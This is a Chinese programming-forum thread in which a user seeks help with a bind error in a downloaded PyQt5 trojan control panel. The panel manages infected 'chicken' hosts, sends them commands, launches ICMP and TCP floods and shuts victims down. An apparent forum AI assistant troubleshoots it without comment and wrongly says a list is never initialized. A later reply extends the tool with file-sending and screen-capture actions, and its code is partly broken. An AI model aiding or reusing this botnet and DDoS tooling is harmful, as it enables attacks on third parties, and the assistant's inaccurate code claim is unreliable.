鱼C论坛

 找回密码
 立即注册
查看: 468|回复: 4

OSError: [WinError 10049] 在其上下文中,该请求的地址无效。

[复制链接]
发表于 2025-1-27 17:29:36 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
在github上下了一个开源项目,打算研究一下,但是出现了标题一样的错误,求各位大神们如何消除BUG,代码如下:

  1. import builtins
  2. import sys

  3. from PyQt5.QtCore import pyqtSignal, QObject, Qt
  4. from PyQt5.QtGui import QCursor
  5. from PyQt5.QtWidgets import QMenu, QWidget, QApplication, QListWidgetItem, QAction, QCheckBox, QLabel

  6. from control_panel import DetailMain

  7. STDprint = builtins.print

  8. from ServerUI import Ui_Server
  9. from server import TrojanServer, Chienken


  10. class Conmunication(QObject):
  11.     chickenUpSignal = pyqtSignal(Chienken)
  12.     selectChangeSignal = pyqtSignal(str)
  13.     listFreshSignal = pyqtSignal(int, Chienken)
  14.     refreshSignal = pyqtSignal()

  15. class ServerMain(QWidget, Ui_Server):
  16.     def __init__(self):
  17.         super().__init__()
  18.         self.setupUi(self)
  19.         builtins.print = self.displayLog
  20.         self.trojanServer = TrojanServer()
  21.         self.signals = Conmunication()
  22.         self.trojanServer.signals = self.signals
  23.         self.signals.chickenUpSignal.connect(self.addToCurrentList)
  24.         self.freshCurrentList()
  25.         self.ipInput.setText(self.trojanServer.bind_IP)
  26.         self.usp.setText(str(self.trojanServer.udpPort))
  27.         self.urp.setText(str(self.trojanServer.udpRecvPort))
  28.         self.tp.setText(str(self.trojanServer.tcpPort))
  29.         self.bind()
  30.         print("Welcome!")


  31.     def bind(self):
  32.         self.cmdEdit.returnPressed.connect(self.sendCmd)
  33.         self.signals.selectChangeSignal.connect(self.changeSelected)
  34.         self.freshlist.clicked.connect(self.freshCurrentList)
  35.         self.scanAll.clicked.connect(self.trojanServer.scanAll)
  36.         self.signals.listFreshSignal.connect(self.freshItem)
  37.         self.saveButton.clicked.connect(self.save)
  38.         self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
  39.         self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
  40.         self.all_button.clicked.connect(self.checkall)
  41.         self.reverse_button.clicked.connect(self.reverseCheck)
  42.         self.icmpButton.clicked.connect(self.icmp)
  43.         self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
  44.         self.deletebutton.clicked.connect(self.deleteSelected)
  45.         self.shutdownButton.clicked.connect(self.shutChicken)
  46.         self.stopbutton.clicked.connect(lambda :self.opeate("floodStop"))
  47.         self.tcpfloodbutton.clicked.connect(self.tcpFlood)

  48.     def deleteSelected(self):
  49.         selected = self.getSelect()
  50.         for i in reversed(selected):
  51.             self.trojanServer.cmdQ.put("delete %d"%i)
  52.         # for c in selected:
  53.         #     self.trojanServer.cmdQ.put("msg " + str(c) + " %s" % type)

  54.     def icmp(self):
  55.         self.opeate("icmpFlood %s" % self.attack_ip.text())

  56.     def tcpFlood(self):
  57.         self.opeate("tcpFlood %s %s" % (self.attack_ip.text(), self.attack_port.text()))

  58.     def shutChicken(self):
  59.         self.opeate(r"shutdown \s")

  60.     def opeate(self, type):
  61.         selected = self.getSelect()
  62.         for c in selected:
  63.             self.trojanServer.cmdQ.put("msg "+str(c)+" %s" % type)

  64.     def freshItem(self, index, chicken):
  65.         check:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(index))
  66.         check.setText("[%d][%s] %s\tip:%s\tport:%d "%(index,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))

  67.     def myListWidgetContext(self, point):
  68.         item = self.chickenlist.itemAt(point)
  69.         if not item:
  70.             return
  71.         checkbox:QCheckBox = self.chickenlist.itemWidget(item)
  72.         row = int(checkbox.text().split(']')[0][1:])
  73.         popMenu = QMenu()

  74.         a1 = QAction(u'连接', self)
  75.         a2 = QAction(u'删除', self)

  76.         popMenu.addAction(a1)
  77.         popMenu.addAction(a2)

  78.         a1.triggered.connect(lambda :self.openDetail(row))
  79.         a2.triggered.connect(lambda :self.trojanServer.cmdQ.put("delete %d"%row))

  80.         popMenu.exec_(QCursor.pos())

  81.     def openDetail(self, row):
  82.         print("control %d" %row)
  83.         detail = DetailMain(self.trojanServer, row)
  84.         detail.show()
  85.         detail.connect_button.clicked.emit()

  86.     def save(self):
  87.         self.trojanServer.cmdQ.put("save")

  88.     def sendCmd(self):
  89.         cmd = self.cmdEdit.text()
  90.         self.cmdEdit.clear()
  91.         if cmd == "cls" or cmd == 'clear':
  92.             self.logbrow.clear()
  93.             return
  94.         self.trojanServer.cmdQ.put(cmd)

  95.     def changeSelected(self, name):
  96.         # self.selectedLabel.setText(name)
  97.         pass

  98.     def displayLog(self, content, end='\n'):
  99.         self.logbrow.append(str(content))
  100.         self.logbrow.moveCursor(self.logbrow.textCursor().End)

  101.     def freshCurrentList(self):
  102.         i:int = 0
  103.         online = self.online_check.isChecked()
  104.         offline = self.offline_check.isChecked()
  105.         self.chickenlist.clear()
  106.         for chicken in self.trojanServer.allChickens:
  107.             if (chicken.online and online) or (not chicken.online and offline):
  108.                 box = QCheckBox("[%d][%s] %s\tip:%s\tport:%d "%(i,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))
  109.                 item = QListWidgetItem()
  110.                 self.chickenlist.addItem(item)
  111.                 self.chickenlist.setItemWidget(item, box)
  112.                 box.clicked.connect(self.chickenChecked)
  113.             i += 1

  114.     def chickenChecked(self):
  115.         sender = self.sender()
  116.         print("check "+sender.text().split(']')[0][1:])


  117.     def addToCurrentList(self, chicken:Chienken):
  118.         self.freshCurrentList()

  119.     def getSelect(self):
  120.         count = self.chickenlist.count()
  121.         res = []
  122.         for i in range(0, count):
  123.             box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
  124.             if box.isChecked():
  125.                 res.append(i)
  126.         return res

  127.     def checkall(self):
  128.         count = self.chickenlist.count()
  129.         for i in range(0, count):
  130.             box:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
  131.             box.setChecked(True)


  132.     def reverseCheck(self):
  133.         count = self.chickenlist.count()
  134.         for i in range(0, count):
  135.             box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
  136.             box.setChecked(not box.isChecked())

  137.     def clearCheck(self):
  138.         count = self.chickenlist.count()
  139.         for i in range(0, count):
  140.             box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
  141.             box.setChecked(False)

  142.     def closeEvent(self, event):
  143.         self.save()




  144. if __name__ == '__main__':
  145.     app = QApplication(sys.argv)
  146.     MainWin = ServerMain()
  147.     MainWin.show()
  148.     sys.exit(app.exec_())


复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2025-1-27 17:29:43 | 显示全部楼层
你遇到的错误 `OSError: 在其上下文中,该请求的地址无效` 通常是由于绑定到一个无效的IP地址或端口引起的。可能原因如下:

1. 选择的IP地址不在当前系统的网络接口中,或者这个IP地址无法绑定。
2. 选择的端口已经被占用,或者处于保留状态。

代码中的几个关键变量值可能导致问题:
  1. self.ipInput.setText(self.trojanServer.bind_IP)
  2. self.usp.setText(str(self.trojanServer.udpPort))
  3. self.urp.setText(str(self.trojanServer.udpRecvPort))
  4. self.tp.setText(str(self.trojanServer.tcpPort))
复制代码


为了排查和解决这个问题,可以尝试以下步骤:

  • 确保绑定的IP地址 (self.trojanServer.bind_IP) 是有效的,例如 "0.0.0.0" 或者 "127.0.0.1"
  • 确保端口号 (self.trojanServer.udpPortself.trojanServer.udpRecvPortself.trojanServer.tcpPort) 没有被其他程序占用,且不在保留端口(如 0-1024)范围内。
  • 检查网络配置是否正确,比如是否开启了防火墙阻止相关端口通信。


另外,你的代码中存在一些语法错误和格式问题。例如,在方法 getSelect 中似乎忘记初始化 res
  1. def getSelect(self):
  2.     count = self.chickenlist.count()
  3.     res = []  # 初始化 res 为一个空列表
  4.     for i in range(0, count):
  5.         box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
  6.         if box.isChecked():
  7.             res.append(i)
  8.     return res
复制代码


通过以上方式检查和修改你的代码,希望可以解决 `OSError` 的问题。如果你需要进一步的帮助,可以提供更多错误细节和上下文信息。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2025-1-27 17:30:45 | 显示全部楼层
FishC 发表于 2025-1-27 17:29
你遇到的错误 `OSError: 在其上下文中,该请求的地址无效` 通常是由于绑定到一个无效的IP地址或端口引起的 ...

    self.tcpSocket.bind((self.bind_IP, self.tcpPort))
OSError: [WinError 10049] 在其上下文中,该请求的地址无效。

出现了以上的错误报告。
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2025-1-27 17:30:58 | 显示全部楼层
python小小白哟 发表于 2025-01-27 17:30
FishC 发表于 2025-1-27 17:29
你遇到的错误 `OSErro ...


根据错误报告 `OSError: 在其上下文中,该请求的地址无效。`,这是由于试图绑定到一个无效的 IP 地址或端口。请确保 `self.bind_IP` 和 `self.tcpPort` 的取值是正确的并且可以使用。

以下是一些可能的解决方案:

1. **确保 IP 地址是有效的**:确认 `self.bind_IP` 是你机器的一个有效 IP 地址,或者尝试使用 `0.0.0.0`(绑定到所有可用接口)或 `127.0.0.1`(仅绑定到本地接口)。

2. **检查端口是否被占用或者保留**:确认 `self.tcpPort` 不是系统保留的端口(通常保留端口是 0-1024),并且没有被其他程序占用。

3. **示例代码**:以下示例展示了如何修改你的 `bind` 方法来确保 IP 地址和端口号有效且可用:

  1. def bind(self):
  2.     valid_ip = "127.0.0.1"  # 或者 "0.0.0.0"
  3.     valid_port = 12345       # 确保这个端口没有被占用
  4.    
  5.     self.cmdEdit.returnPressed.connect(self.sendCmd)
  6.     self.signals.selectChangeSignal.connect(self.changeSelected)
  7.     self.freshlist.clicked.connect(self.freshCurrentList)
  8.     self.scanAll.clicked.connect(self.trojanServer.scanAll)
  9.     self.signals.listFreshSignal.connect(self.freshItem)
  10.     self.saveButton.clicked.connect(self.save)
  11.     self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
  12.     self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
  13.     self.all_button.clicked.connect(self.checkall)
  14.     self.reverse_button.clicked.connect(self.reverseCheck)
  15.     self.icmpButton.clicked.connect(self.icmp)
  16.     self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
  17.     self.deletebutton.clicked.connect(self.deleteSelected)
  18.     self.shutdownButton.clicked.connect(self.shutChicken)
  19.     self.stopbutton.clicked.connect(lambda: self.opeate("floodStop"))
  20.     self.tcpfloodbutton.clicked.connect(self.tcpFlood)

  21.     try:
  22.         self.trojanServer.bind_IP = valid_ip
  23.         self.trojanServer.tcpPort = valid_port

  24.         self.tcpSocket.bind((self.trojanServer.bind_IP, self.trojanServer.tcpPort))
  25.         print(f"Binding to {valid_ip}:{valid_port} succeeded!")
  26.     except OSError as e:
  27.         print(f"Binding to {valid_ip}:{valid_port} failed: {e}")
  28.         raise
复制代码


确保替换你的 `bind` 方法中的相关部分,将 `valid_ip` 和 `valid_port` 改为适合你的实际环境的值。如果有必要,添加调试信息以帮助确定绑定失败的确切原因。

如果你还有其他问题,欢迎继续提问!

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2025-1-28 15:16:31 | 显示全部楼层
  1. import builtins
  2. import sys
  3. from PyQt5.QtCore import pyqtSignal, QObject, Qt
  4. from PyQt5.QtGui import QCursor
  5. from PyQt5.QtWidgets import (QMenu, QWidget, QApplication, QListWidgetItem,
  6.                              QAction, QCheckBox, QLabel)
  7. from control_panel import DetailMain

  8. STDprint = builtins.print
  9. from ServerUI import Ui_Server
  10. from server import TrojanServer, Chicken  # 修正类名拼写

  11. class Communication(QObject):  # 修正拼写
  12.     chicken_up_signal = pyqtSignal(Chicken)
  13.     select_change_signal = pyqtSignal(str)
  14.     list_fresh_signal = pyqtSignal(int, Chicken)
  15.     refresh_signal = pyqtSignal()

  16. class ServerMain(QWidget, Ui_Server):
  17.     def __init__(self):
  18.         super().__init__()
  19.         self.setupUi(self)
  20.         builtins.print = self.display_log
  21.         
  22.         # 服务器核心组件
  23.         self.trojan_server = TrojanServer()
  24.         self.signals = Communication()
  25.         self.trojan_server.signals = self.signals
  26.         
  27.         # 信号连接
  28.         self.signals.chicken_up_signal.connect(self.add_to_current_list)
  29.         self.signals.select_change_signal.connect(self.change_selected)
  30.         self.signals.list_fresh_signal.connect(self.fresh_item)
  31.         self.signals.refresh_signal.connect(self.fresh_list)
  32.         
  33.         # 初始化UI
  34.         self._init_ui()
  35.         self._bind_events()
  36.         print("Server Initialized!")

  37.     def _init_ui(self):
  38.         """初始化界面配置"""
  39.         self.ipInput.setText(self.trojan_server.bind_IP)
  40.         self.usp.setText(str(self.trojan_server.udpPort))
  41.         self.urp.setText(str(self.trojan_server.udpRecvPort))
  42.         self.tp.setText(str(self.trojan_server.tcpPort))
  43.         self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)

  44.     def _bind_events(self):
  45.         """绑定事件处理"""
  46.         self.cmdEdit.returnPressed.connect(self.send_cmd)
  47.         self.freshlist.clicked.connect(self.fresh_current_list)
  48.         self.scanAll.clicked.connect(self.trojan_server.scan_all)
  49.         self.saveButton.clicked.connect(self.save_config)
  50.         self.chickenlist.customContextMenuRequested.connect(self.show_context_menu)
  51.         self.all_button.clicked.connect(self.check_all)
  52.         self.reverse_button.clicked.connect(self.reverse_check)
  53.         self.icmpButton.clicked.connect(self.start_icmp_scan)
  54.         self.deletebutton.clicked.connect(self.delete_selected)

  55.     #region 核心功能实现
  56.     def display_log(self, *args, **kwargs):
  57.         """重定向print到日志窗口"""
  58.         original_print(*args, **kwargs)
  59.         message = ' '.join(map(str, args))
  60.         self.logOutput.appendPlainText(message)
  61.         self.logOutput.verticalScrollBar().setValue(
  62.             self.logOutput.verticalScrollBar().maximum()
  63.         )

  64.     def send_cmd(self):
  65.         """发送命令到选中客户端"""
  66.         if cmd := self.cmdEdit.text().strip():
  67.             selected = self.get_selected_clients()
  68.             if not selected:
  69.                 print("Error: No client selected!")
  70.                 return
  71.                
  72.             for client in selected:
  73.                 # 这里需要实现具体命令发送逻辑
  74.                 print(f"Sending command to {client.id}: {cmd}")
  75.             self.cmdEdit.clear()

  76.     def fresh_current_list(self):
  77.         """刷新客户端列表"""
  78.         self.chickenlist.clear()
  79.         for idx, client in enumerate(self.trojan_server.clients):
  80.             self.add_client_item(idx, client)

  81.     def add_to_current_list(self, client: Chicken):
  82.         """添加新客户端到列表"""
  83.         self.add_client_item(self.chickenlist.count(), client)
  84.         print(f"New client connected: {client.id}")

  85.     def add_client_item(self, index: int, client: Chicken):
  86.         """创建带复选框的列表项"""
  87.         item = QListWidgetItem()
  88.         widget = QWidget()
  89.         layout = QHBoxLayout(widget)
  90.         
  91.         checkbox = QCheckBox()
  92.         label = QLabel(f"{client.id} ({client.ip})")
  93.         
  94.         layout.addWidget(checkbox)
  95.         layout.addWidget(label)
  96.         layout.setContentsMargins(2, 2, 2, 2)
  97.         
  98.         widget.checkbox = checkbox  # 保存复选框引用
  99.         widget.client = client      # 绑定客户端对象
  100.         
  101.         self.chickenlist.addItem(item)
  102.         self.chickenlist.setItemWidget(item, widget)
  103.     #endregion

  104.     #region 上下文菜单相关
  105.     def show_context_menu(self, pos):
  106.         """显示右键菜单"""
  107.         menu = QMenu()
  108.         actions = [
  109.             ("详情", self.show_detail),
  110.             ("发送文件", self.send_file),
  111.             ("截屏", self.capture_screen)
  112.         ]
  113.         
  114.         for text, handler in actions:
  115.             action = QAction(text, self)
  116.             action.triggered.connect(handler)
  117.             menu.addAction(action)
  118.             
  119.         menu.exec_(QCursor.pos())

  120.     def show_detail(self):
  121.         """显示客户端详情"""
  122.         if selected := self.chickenlist.currentItem():
  123.             client = self.chickenlist.itemWidget(selected).client
  124.             self.detailPanel = DetailMain(client)
  125.             self.detailPanel.show()
  126.     #endregion

  127.     #region 配置管理
  128.     def save_config(self):
  129.         """保存服务器配置"""
  130.         try:
  131.             self.trojan_server.bind_IP = self.ipInput.text()
  132.             self.trojan_server.udpPort = int(self.usp.text())
  133.             self.trojan_server.udpRecvPort = int(self.urp.text())
  134.             self.trojan_server.tcpPort = int(self.tp.text())
  135.             print("配置已保存")
  136.         except ValueError as e:
  137.             print(f"保存失败: {str(e)}")
  138.     #endregion

  139. if __name__ == "__main__":
  140.     app = QApplication(sys.argv)
  141.     window = ServerMain()
  142.     window.show()
  143.     sys.exit(app.exec_())
  144. ```
复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-4-19 16:09

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表